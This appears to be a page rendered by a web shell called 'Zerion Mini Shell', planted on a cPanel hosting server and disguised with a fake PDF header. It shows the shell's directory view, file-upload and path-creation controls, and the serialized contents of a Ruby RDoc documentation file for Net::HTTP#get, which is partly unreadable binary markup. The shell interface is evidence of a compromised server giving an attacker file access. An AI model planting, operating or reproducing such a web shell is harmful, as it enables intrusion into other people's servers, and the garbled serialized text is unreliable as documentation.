%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/cpanel/ea-ruby24/root/usr/share/ri/system/Net/HTTP/
Upload File :
Create Path :
Current File : //opt/cpanel/ea-ruby24/root/usr/share/ri/system/Net/HTTP/get-i.ri

U:RDoc::AnyMethod[iI"get:EFI"Net::HTTP#get;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph;	[I"IRetrieves data from +path+ on the connected-to host which may be an ;TI"<absolute path String or a URI to extract the path from.;To:RDoc::Markup::BlankLineo;
;	[I"B+initheader+ must be a Hash like { 'Accept' => '*/*', ... }, ;TI"'and it defaults to an empty hash. ;TI"BIf +initheader+ doesn't have the key 'accept-encoding', then ;TI"Ca value of "gzip;q=1.0,deflate;q=0.6,identity;q=0.3" is used, ;TI"?so that gzip compression is used in preference to deflate ;TI"Acompression, which is used in preference to no compression. ;TI"FRuby doesn't have libraries to support the compress (Lempel-Ziv) ;TI"Ccompression, so that is not supported.  The intent of this is ;TI"?to reduce bandwidth by default.   If this routine sets up ;TI"@compression, then it does the decompression also, removing ;TI"9the header as well to prevent confusion.  Otherwise ;TI"'it leaves the body as it found it.;T@o;
;	[I"4This method returns a Net::HTTPResponse object.;T@o;
;	[	I"9If called with a block, yields each fragment of the ;TI"8entity body in turn as a string as it is read from ;TI"@the socket.  Note that in this case, the returned response ;TI"3object will *not* contain a (meaningful) body.;T@o;
;	[I""+dest+ argument is obsolete. ;TI",It still works but you must not use it.;T@o;
;	[I"+This method never raises an exception.;T@o:RDoc::Markup::Verbatim;	[
I"(response = http.get('/index.html')
;TI"
;TI"# using block
;TI"'File.open('result.txt', 'w') {|f|
;TI"#  http.get('/~foo/') do |str|
;TI"    f.write str
;TI"  end
;TI"};T:@format0:
@fileI"lib/net/http.rb;T:0@omit_headings_from_table_of_contents_below00I"body_segment;F[I")(path, initheader = nil, dest = nil);T@8FI"	HTTP;TcRDoc::NormalClass00

Zerion Mini Shell 1.0